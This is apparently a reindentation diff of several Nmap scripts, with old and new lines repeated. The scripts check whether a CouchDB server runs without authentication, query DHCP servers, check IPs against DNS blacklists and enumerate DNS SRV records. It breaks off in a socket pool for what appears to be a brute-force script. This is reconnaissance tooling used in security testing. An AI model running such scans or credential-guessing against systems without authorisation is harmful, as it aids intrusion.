-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
|
||||
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
|
||||
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
|
||||
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
|
||||
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
|
||||
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
|
||||
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
|
||||
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
|
||||
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
|
||||
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
|
||||
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
|
||||
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
|
||||
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
|
||||
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
|
||||
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
|
||||
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
|
||||
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
|
||||
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
|
||||
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
|
||||
local auth = "Authentication : %s"
|
||||
local authEnabled = "unknown"
|
||||
-- If authorization is used, we should get back something like
|
||||
-- {"error":"unauthorized","reason":"You are not a server admin."}
|
||||
-- Otherwise, a *lot* of data, :
|
||||
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
|
||||
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
|
||||
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
|
||||
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
|
||||
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
|
||||
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
|
||||
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
|
||||
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
|
||||
-- "_replicate":"{couch_httpd_misc_handlers, handle_replicate_req}","_restart":"{couch_httpd_misc_handlers, handle_restart_req}",
|
||||
-- "_session":"{couch_httpd_auth, handle_session_req}","_sleep":"{couch_httpd_misc_handlers, handle_sleep_req}",
|
||||
-- "_stats":"{couch_httpd_stats_handlers, handle_stats_req}","_user":"{couch_httpd_auth, handle_user_req}",
|
||||
-- "_utils":"{couch_httpd_misc_handlers, handle_utils_dir_req, \"/usr/share/couchdb/www\"}",
|
||||
-- "_uuids":"{couch_httpd_misc_handlers, handle_uuids_req}","favicon.ico":"{couch_httpd_misc_handlers, handle_favicon_req, \"/usr/share/couchdb/www\"}"},
|
||||
-- "query_server_config":{"reduce_limit":"true"},"log":{"file":"/var/log/couchdb/0.10.0/couch.log","level":"info"},
|
||||
-- "query_servers":{"javascript":"/usr/bin/couchjs /usr/share/couchdb/server/main.js"},
|
||||
-- "daemons":{"batch_save":"{couch_batch_save_sup, start_link, []}","db_update_notifier":"{couch_db_update_notifier_sup, start_link, []}",
|
||||
-- "external_manager":"{couch_external_manager, start_link, []}","httpd":"{couch_httpd, start_link, []}",
|
||||
-- "query_servers":"{couch_query_servers, start_link, []}","stats_aggregator":"{couch_stats_aggregator, start, []}",
|
||||
-- "stats_collector":"{couch_stats_collector, start, []}","view_manager":"{couch_view, start_link, []}"},
|
||||
-- "httpd":{"WWW-Authenticate":"Basic realm=\"administrator\"","authentication_handlers":"{couch_httpd_oauth, oauth_authentication_handler}, {couch_httpd_auth, default_authentication_handler}",
|
||||
-- "bind_address":"127.0.0.1","default_handler":"{couch_httpd_db, handle_request}","port":"5984"},"httpd_db_handlers":{"_changes":"{couch_httpd_db, handle_changes_req}",
|
||||
-- "_compact":"{couch_httpd_db, handle_compact_req}","_design":"{couch_httpd_db, handle_design_req}","_temp_view":"{couch_httpd_view, handle_temp_view_req}",
|
||||
-- "_view":"{couch_httpd_view, handle_db_view_req}","_view_cleanup":"{couch_httpd_db, handle_view_cleanup_req}"},
|
||||
-- "couch_httpd_auth":{"authentication_db":"users","require_valid_user":"false","secret":"replace this with a real secret in your local.ini file"},
|
||||
-- "couchdb":{"batch_save_interval":"1000","batch_save_size":"1000","database_dir":"/var/lib/couchdb/0.10.0","delayed_commits":"true",
|
||||
-- "max_attachment_chunk_size":"4294967296","max_dbs_open":"100","max_document_size":"4294967296",
|
||||
-- "os_process_timeout":"5000","util_driver_dir":"/usr/lib/couchdb/erlang/lib/couch-0.10.0/priv/lib","view_index_dir":"/var/lib/couchdb/0.10.0"}}
|
||||
local auth = "Authentication : %s"
|
||||
local authEnabled = "unknown"
|
||||
|
||||
if(status) then
|
||||
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
|
||||
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
|
||||
end
|
||||
end
|
||||
table.insert(result, auth:format(authEnabled))
|
||||
return stdnse.format_output(true, result )
|
||||
if(status) then
|
||||
if(authresult["error"] == "unauthorized") then authEnabled = "enabled"
|
||||
elseif (authresult["httpd_design_handlers"] ~= nil) then authEnabled = "NOT enabled ('admin party')"
|
||||
end
|
||||
end
|
||||
table.insert(result, auth:format(authEnabled))
|
||||
return stdnse.format_output(true, result )
|
||||
end
|
||||
|
||||
@@ -70,98 +70,98 @@ categories = {"discovery", "safe"}
|
||||
|
||||
-- We want to run against a specific host if UDP/67 is open
|
||||
function portrule(host, port)
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
if nmap.address_family() ~= 'inet' then
|
||||
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
|
||||
return false
|
||||
end
|
||||
|
||||
return shortport.portnumber(67, "udp")(host, port)
|
||||
return shortport.portnumber(67, "udp")(host, port)
|
||||
end
|
||||
|
||||
local function go(host, port)
|
||||
|
||||
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
|
||||
local requests = tonumber(nmap.registry.args.requests or 1)
|
||||
local results = {}
|
||||
for i = 1, requests, 1 do
|
||||
-- Decide which type of request to make
|
||||
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
|
||||
if(request_type == nil) then
|
||||
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
|
||||
end
|
||||
-- Build and send a DHCP request using the specified request type, or DHCPINFORM
|
||||
local requests = tonumber(nmap.registry.args.requests or 1)
|
||||
local results = {}
|
||||
for i = 1, requests, 1 do
|
||||
-- Decide which type of request to make
|
||||
local request_type = dhcp.request_types[nmap.registry.args.dhcptype or "DHCPINFORM"]
|
||||
if(request_type == nil) then
|
||||
return false, "Valid request types: " .. stdnse.strjoin(", ", dhcp.request_types_str)
|
||||
end
|
||||
|
||||
-- Generate the MAC address, if it's random
|
||||
local mac_addr = host.mac_addr_src
|
||||
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
|
||||
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
|
||||
mac_addr = ""
|
||||
for j=1, 6, 1 do
|
||||
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
||||
end
|
||||
end
|
||||
-- Generate the MAC address, if it's random
|
||||
local mac_addr = host.mac_addr_src
|
||||
if(nmap.registry.args.randomize_mac == 'true' or nmap.registry.args.randomize_mac == '1') then
|
||||
stdnse.print_debug(2, "dhcp-discover: Generating a random MAC address")
|
||||
mac_addr = ""
|
||||
for j=1, 6, 1 do
|
||||
mac_addr = mac_addr .. string.char(math.random(1, 255))
|
||||
end
|
||||
end
|
||||
|
||||
local iface, err = nmap.get_interface_info(host.interface)
|
||||
if ( not(iface) or not(iface.address) ) then
|
||||
return false, "Couldn't determine local ip for interface: " .. host.interface
|
||||
end
|
||||
local iface, err = nmap.get_interface_info(host.interface)
|
||||
if ( not(iface) or not(iface.address) ) then
|
||||
return false, "Couldn't determine local ip for interface: " .. host.interface
|
||||
end
|
||||
|
||||
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
|
||||
if( not(status) ) then
|
||||
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
|
||||
return false, result
|
||||
end
|
||||
local status, result = dhcp.make_request(host.ip, request_type, iface.address, mac_addr)
|
||||
if( not(status) ) then
|
||||
stdnse.print_debug(1, "dhcp-discover: Couldn't send DHCP request: %s", result)
|
||||
return false, result
|
||||
end
|
||||
|
||||
table.insert(results, result)
|
||||
end
|
||||
table.insert(results, result)
|
||||
end
|
||||
|
||||
-- Done!
|
||||
return true, results
|
||||
-- Done!
|
||||
return true, results
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local status, results = go(host, port)
|
||||
local status, results = go(host, port)
|
||||
|
||||
|
||||
if(not(status)) then
|
||||
return stdnse.format_output(false, results)
|
||||
end
|
||||
if(not(status)) then
|
||||
return stdnse.format_output(false, results)
|
||||
end
|
||||
|
||||
if(not(results)) then
|
||||
return nil
|
||||
end
|
||||
if(not(results)) then
|
||||
return nil
|
||||
end
|
||||
|
||||
-- Set the port state to open
|
||||
if(host) then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
-- Set the port state to open
|
||||
if(host) then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
|
||||
local response = {}
|
||||
local response = {}
|
||||
|
||||
-- Display the results
|
||||
for i, result in ipairs(results) do
|
||||
local result_table = {}
|
||||
-- Display the results
|
||||
for i, result in ipairs(results) do
|
||||
local result_table = {}
|
||||
|
||||
if ( nmap.registry.args.dhcptype and
|
||||
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
|
||||
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
|
||||
end
|
||||
for _, v in ipairs(result.options) do
|
||||
if(type(v['value']) == 'table') then
|
||||
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
||||
else
|
||||
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
|
||||
end
|
||||
end
|
||||
if ( nmap.registry.args.dhcptype and
|
||||
"DHCPINFORM" ~= nmap.registry.args.dhcptype ) then
|
||||
table.insert(result_table, string.format("IP Offered: %s", result.yiaddr_str))
|
||||
end
|
||||
for _, v in ipairs(result.options) do
|
||||
if(type(v['value']) == 'table') then
|
||||
table.insert(result_table, string.format("%s: %s", v['name'], stdnse.strjoin(", ", v['value'])))
|
||||
else
|
||||
table.insert(result_table, string.format("%s: %s\n", v['name'], v['value']))
|
||||
end
|
||||
end
|
||||
|
||||
if(#results == 1) then
|
||||
response = result_table
|
||||
else
|
||||
result_table['name'] = string.format("Result %d of %d", i, #results)
|
||||
table.insert(response, result_table)
|
||||
end
|
||||
end
|
||||
if(#results == 1) then
|
||||
response = result_table
|
||||
else
|
||||
result_table['name'] = string.format("Result %d of %d", i, #results)
|
||||
table.insert(response, result_table)
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -78,100 +78,100 @@ categories = {"external", "safe"}
|
||||
hostrule = function() return true end
|
||||
prerule = function() return true end
|
||||
|
||||
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
|
||||
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
|
||||
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
|
||||
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
|
||||
local arg_IP = stdnse.get_script_args(SCRIPT_NAME .. ".ip")
|
||||
local arg_mode = stdnse.get_script_args(SCRIPT_NAME .. ".mode") or "long"
|
||||
local arg_list = stdnse.get_script_args(SCRIPT_NAME .. ".list")
|
||||
local arg_services = stdnse.get_script_args(SCRIPT_NAME .. ".services")
|
||||
local arg_category = stdnse.get_script_args(SCRIPT_NAME .. ".category") or "all"
|
||||
|
||||
local function listServices()
|
||||
local result = {}
|
||||
if ( "all" == arg_category ) then
|
||||
for cat in pairs(dnsbl.SERVICES) do
|
||||
local helper = dnsbl.Helper:new(cat, arg_mode)
|
||||
local cat_res= helper:listServices()
|
||||
cat_res.name = cat
|
||||
table.insert(result, cat_res)
|
||||
end
|
||||
else
|
||||
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
local result = {}
|
||||
if ( "all" == arg_category ) then
|
||||
for cat in pairs(dnsbl.SERVICES) do
|
||||
local helper = dnsbl.Helper:new(cat, arg_mode)
|
||||
local cat_res= helper:listServices()
|
||||
cat_res.name = cat
|
||||
table.insert(result, cat_res)
|
||||
end
|
||||
else
|
||||
result = dnsbl.Helper:new(arg_category, arg_mode):listServices()
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
local function formatResult(result)
|
||||
local output = {}
|
||||
for _, svc in ipairs(result) do
|
||||
if ( svc.result.details ) then
|
||||
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
|
||||
table.insert(output, svc.result.details)
|
||||
else
|
||||
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
|
||||
end
|
||||
end
|
||||
return output
|
||||
local output = {}
|
||||
for _, svc in ipairs(result) do
|
||||
if ( svc.result.details ) then
|
||||
svc.result.details.name = ("%s - %s"):format(svc.name, svc.result.state)
|
||||
table.insert(output, svc.result.details)
|
||||
else
|
||||
table.insert(output, ("%s - %s"):format(svc.name, svc.result.state))
|
||||
end
|
||||
end
|
||||
return output
|
||||
end
|
||||
|
||||
dnsblAction = function(host)
|
||||
|
||||
local helper
|
||||
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
||||
return "\n ERROR: A service filter can't be used without a specific category"
|
||||
elseif( "all" ~= arg_category ) then
|
||||
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
||||
helper:setFilter(arg_services)
|
||||
local status, err = helper:validateFilter()
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
end
|
||||
local helper
|
||||
if ( arg_services and ( not(arg_category) or "all" == arg_category:lower() ) ) then
|
||||
return "\n ERROR: A service filter can't be used without a specific category"
|
||||
elseif( "all" ~= arg_category ) then
|
||||
helper = dnsbl.Helper:new(arg_category, arg_mode)
|
||||
helper:setFilter(arg_services)
|
||||
local status, err = helper:validateFilter()
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(err)
|
||||
end
|
||||
end
|
||||
|
||||
local output = {}
|
||||
if ( helper ) then
|
||||
local result = helper:checkBL(host.ip)
|
||||
if ( #result == 0 ) then return end
|
||||
output = formatResult(result)
|
||||
else
|
||||
for cat in pairs(dnsbl.SERVICES) do
|
||||
helper = dnsbl.Helper:new(cat, arg_mode)
|
||||
local result = helper:checkBL(host.ip)
|
||||
local out_part = formatResult(result)
|
||||
if ( #out_part > 0 ) then
|
||||
out_part.name = cat
|
||||
table.insert(output, out_part)
|
||||
end
|
||||
end
|
||||
if ( #output == 0 ) then return end
|
||||
end
|
||||
local output = {}
|
||||
if ( helper ) then
|
||||
local result = helper:checkBL(host.ip)
|
||||
if ( #result == 0 ) then return end
|
||||
output = formatResult(result)
|
||||
else
|
||||
for cat in pairs(dnsbl.SERVICES) do
|
||||
helper = dnsbl.Helper:new(cat, arg_mode)
|
||||
local result = helper:checkBL(host.ip)
|
||||
local out_part = formatResult(result)
|
||||
if ( #out_part > 0 ) then
|
||||
out_part.name = cat
|
||||
table.insert(output, out_part)
|
||||
end
|
||||
end
|
||||
if ( #output == 0 ) then return end
|
||||
end
|
||||
|
||||
if ( "prerule" == SCRIPT_TYPE ) then
|
||||
output.name = host.ip
|
||||
end
|
||||
if ( "prerule" == SCRIPT_TYPE ) then
|
||||
output.name = host.ip
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, output)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
|
||||
-- execute the action function corresponding to the current rule
|
||||
action = function(...)
|
||||
|
||||
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
||||
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
|
||||
end
|
||||
if ( arg_mode ~= "short" and arg_mode ~= "long" ) then
|
||||
return "\n ERROR: Invalid argument supplied, mode should be either 'short' or 'long'"
|
||||
end
|
||||
|
||||
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
||||
return "\n ERROR: Invalid IP address was supplied"
|
||||
end
|
||||
if ( arg_IP and not(ipOps.todword(arg_IP)) ) then
|
||||
return "\n ERROR: Invalid IP address was supplied"
|
||||
end
|
||||
|
||||
-- if the list argument was given, just list the services and abort
|
||||
if ( arg_list ) then
|
||||
return listServices()
|
||||
end
|
||||
-- if the list argument was given, just list the services and abort
|
||||
if ( arg_list ) then
|
||||
return listServices()
|
||||
end
|
||||
|
||||
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
|
||||
return dnsblAction( { ip = arg_IP } )
|
||||
elseif ( "hostrule" == SCRIPT_TYPE ) then
|
||||
return dnsblAction(...)
|
||||
end
|
||||
if ( arg_IP and "prerule" == SCRIPT_TYPE ) then
|
||||
return dnsblAction( { ip = arg_IP } )
|
||||
elseif ( "hostrule" == SCRIPT_TYPE ) then
|
||||
return dnsblAction(...)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -69,113 +69,113 @@ local arg_filter = stdnse.get_script_args(SCRIPT_NAME .. ".filter")
|
||||
prerule = function() return not(not(arg_domain)) end
|
||||
|
||||
local function parseSvcList(services)
|
||||
local i = 1
|
||||
return function()
|
||||
local svc = services[i]
|
||||
if ( svc ) then
|
||||
i=i + 1
|
||||
else
|
||||
return
|
||||
end
|
||||
return svc.name, svc.query
|
||||
end
|
||||
local i = 1
|
||||
return function()
|
||||
local svc = services[i]
|
||||
if ( svc ) then
|
||||
i=i + 1
|
||||
else
|
||||
return
|
||||
end
|
||||
return svc.name, svc.query
|
||||
end
|
||||
end
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
local function parseSrvResponse(resp)
|
||||
local i = 1
|
||||
if ( resp.answers ) then
|
||||
table.sort(resp.answers,
|
||||
function(a, b)
|
||||
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
|
||||
return a.SRV.prio < b.SRV.prio
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
return function()
|
||||
if ( not(resp.answers) or 0 == #resp.answers ) then return end
|
||||
if ( not(resp.answers[i]) ) then
|
||||
return
|
||||
elseif ( resp.answers[i].SRV ) then
|
||||
local srv = resp.answers[i].SRV
|
||||
i = i + 1
|
||||
return srv.target, srv.port, srv.prio, srv.weight
|
||||
end
|
||||
end
|
||||
local i = 1
|
||||
if ( resp.answers ) then
|
||||
table.sort(resp.answers,
|
||||
function(a, b)
|
||||
if ( a.SRV and b.SRV and a.SRV.prio and b.SRV.prio ) then
|
||||
return a.SRV.prio < b.SRV.prio
|
||||
end
|
||||
end
|
||||
)
|
||||
end
|
||||
return function()
|
||||
if ( not(resp.answers) or 0 == #resp.answers ) then return end
|
||||
if ( not(resp.answers[i]) ) then
|
||||
return
|
||||
elseif ( resp.answers[i].SRV ) then
|
||||
local srv = resp.answers[i].SRV
|
||||
i = i + 1
|
||||
return srv.target, srv.port, srv.prio, srv.weight
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local function checkFilter(services)
|
||||
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
|
||||
return true
|
||||
end
|
||||
for name, queries in parseSvcList(services) do
|
||||
if ( name == arg_filter ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
if ( not(arg_filter) or "" == arg_filter or "all" == arg_filter ) then
|
||||
return true
|
||||
end
|
||||
for name, queries in parseSvcList(services) do
|
||||
if ( name == arg_filter ) then
|
||||
return true
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
local function doQuery(name, queries, result)
|
||||
local condvar = nmap.condvar(result)
|
||||
local svc_result = tab.new(4)
|
||||
tab.addrow(svc_result, "service", "prio", "weight", "host")
|
||||
for _, query in ipairs(queries) do
|
||||
local fqdn = ("%s.%s"):format(query, arg_domain)
|
||||
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
|
||||
for host, port, prio, weight in parseSrvResponse(resp) do
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(host)
|
||||
end
|
||||
local proto = query:sub(-3)
|
||||
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
|
||||
end
|
||||
end
|
||||
if ( #svc_result ~= 1 ) then
|
||||
table.insert(result, { name = name, tab.dump(svc_result) })
|
||||
end
|
||||
condvar "signal"
|
||||
local condvar = nmap.condvar(result)
|
||||
local svc_result = tab.new(4)
|
||||
tab.addrow(svc_result, "service", "prio", "weight", "host")
|
||||
for _, query in ipairs(queries) do
|
||||
local fqdn = ("%s.%s"):format(query, arg_domain)
|
||||
local status, resp = dns.query(fqdn, { dtype="SRV", retAll=true, retPkt=true } )
|
||||
for host, port, prio, weight in parseSrvResponse(resp) do
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(host)
|
||||
end
|
||||
local proto = query:sub(-3)
|
||||
tab.addrow(svc_result, ("%d/%s"):format(port, proto), prio, weight, host)
|
||||
end
|
||||
end
|
||||
if ( #svc_result ~= 1 ) then
|
||||
table.insert(result, { name = name, tab.dump(svc_result) })
|
||||
end
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
action = function(host)
|
||||
|
||||
local services = {
|
||||
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
|
||||
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
|
||||
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
|
||||
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
|
||||
{ name = "LDAP", query = {"_ldap._tcp"} },
|
||||
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
|
||||
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
|
||||
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
|
||||
}
|
||||
local services = {
|
||||
{ name = "Active Directory Global Catalog", query = {"_gc._tcp"} },
|
||||
{ name = "Exchange Autodiscovery", query = {"_autodiscover._tcp"} },
|
||||
{ name = "Kerberos KDC Service", query = {"_kerberos._tcp", "_kerberos._udp"} },
|
||||
{ name = "Kerberos Password Change Service", query = {"_kpasswd._tcp", "_kpasswd._udp"} },
|
||||
{ name = "LDAP", query = {"_ldap._tcp"} },
|
||||
{ name = "SIP", query = {"_sip._udp", "_sip._tcp"} },
|
||||
{ name = "XMPP server-to-server", query = {"_xmpp-server._tcp"} },
|
||||
{ name = "XMPP client-to-server", query = {"_xmpp-client._tcp"} },
|
||||
}
|
||||
|
||||
if ( not(checkFilter(services)) ) then
|
||||
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
|
||||
end
|
||||
if ( not(checkFilter(services)) ) then
|
||||
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
|
||||
end
|
||||
|
||||
local threads, result = {}, {}
|
||||
for name, queries in parseSvcList(services) do
|
||||
if ( not(arg_filter) or 0 == #arg_filter or
|
||||
"all" == arg_filter or arg_filter == name ) then
|
||||
local co = stdnse.new_thread(doQuery, name, queries, result)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
local threads, result = {}, {}
|
||||
for name, queries in parseSvcList(services) do
|
||||
if ( not(arg_filter) or 0 == #arg_filter or
|
||||
"all" == arg_filter or arg_filter == name ) then
|
||||
local co = stdnse.new_thread(doQuery, name, queries, result)
|
||||
threads[co] = true
|
||||
end
|
||||
end
|
||||
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
local condvar = nmap.condvar(result)
|
||||
repeat
|
||||
for t in pairs(threads) do
|
||||
if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until( next(threads) == nil )
|
||||
|
||||
table.sort(result, function(a,b) return a.name < b.name end)
|
||||
table.sort(result, function(a,b) return a.name < b.name end)
|
||||
|
||||
return stdnse.format_output(true, result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -41,128 +41,128 @@ local not_admins = {}
|
||||
|
||||
SocketPool = {
|
||||
|
||||
new = function(self, max_sockets)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.max_sockets = max_sockets
|
||||
o.pool = {}
|
||||
return o
|
||||
end,
|
||||
new = function(self, max_sockets)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.max_sockets = max_sockets
|
||||
o.pool = {}
|
||||
return o
|
||||
end,
|
||||
|
||||
getSocket = function(self, host, port)
|
||||
while(true) do
|
||||
for i=1, #self.pool do
|
||||
if ( not( self.pool[i].inuse ) ) then
|
||||
self.pool[i].inuse = true
|
||||
return self.pool[i].socket
|
||||
end
|
||||
end
|
||||
if ( #self.pool < self.max_sockets ) then
|
||||
local socket = nmap.new_socket()
|
||||
local status = socket:connect( host.ip, port.number, "tcp")
|
||||
getSocket = function(self, host, port)
|
||||
while(true) do
|
||||
for i=1, #self.pool do
|
||||
if ( not( self.pool[i].inuse ) ) then
|
||||
self.pool[i].inuse = true
|
||||
return self.pool[i].socket
|
||||
end
|
||||
end
|
||||
if ( #self.pool < self.max_sockets ) then
|
||||
local socket = nmap.new_socket()
|
||||
local status = socket:connect( host.ip, port.number, "tcp")
|
||||
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
if ( status ) then
|
||||
socket:reconnect_ssl()
|
||||
end
|
||||
|
||||
if ( status and socket ) then
|
||||
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
|
||||
end
|
||||
end
|
||||
stdnse.sleep(1)
|
||||
end
|
||||
end,
|
||||
if ( status and socket ) then
|
||||
table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
|
||||
end
|
||||
end
|
||||
stdnse.sleep(1)
|
||||
end
|
||||
end,
|
||||
|
||||
releaseSocket = function( self, socket )
|
||||
for i=1, #self.pool do
|
||||
if( socket == self.pool[i].socket ) then
|
||||
self.pool[i].inuse = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end,
|
||||
releaseSocket = function( self, socket )
|
||||
for i=1, #self.pool do
|
||||
if( socket == self.pool[i].socket ) then
|
||||
self.pool[i].inuse = false
|
||||
break
|
||||
end
|
||||
end
|
||||
end,
|
||||
|
||||
shutdown = function( self )
|
||||
for i=1, #self.pool do
|
||||
self.pool[i].socket:close()
|
||||
end
|
||||
end,
|
||||
shutdown = function( self )
|
||||
for i=1, #self.pool do
|
||||
self.pool[i].socket:close()
|
||||
end
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.sockpool = options
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
o.sockpool = options
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
self.socket = self.sockpool:getSocket( self.host, self.port )
|
||||
connect = function( self )
|
||||
self.socket = self.sockpool:getSocket( self.host, self.port )
|
||||
|
||||
if ( self.socket ) then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end,
|
||||
if ( self.socket ) then
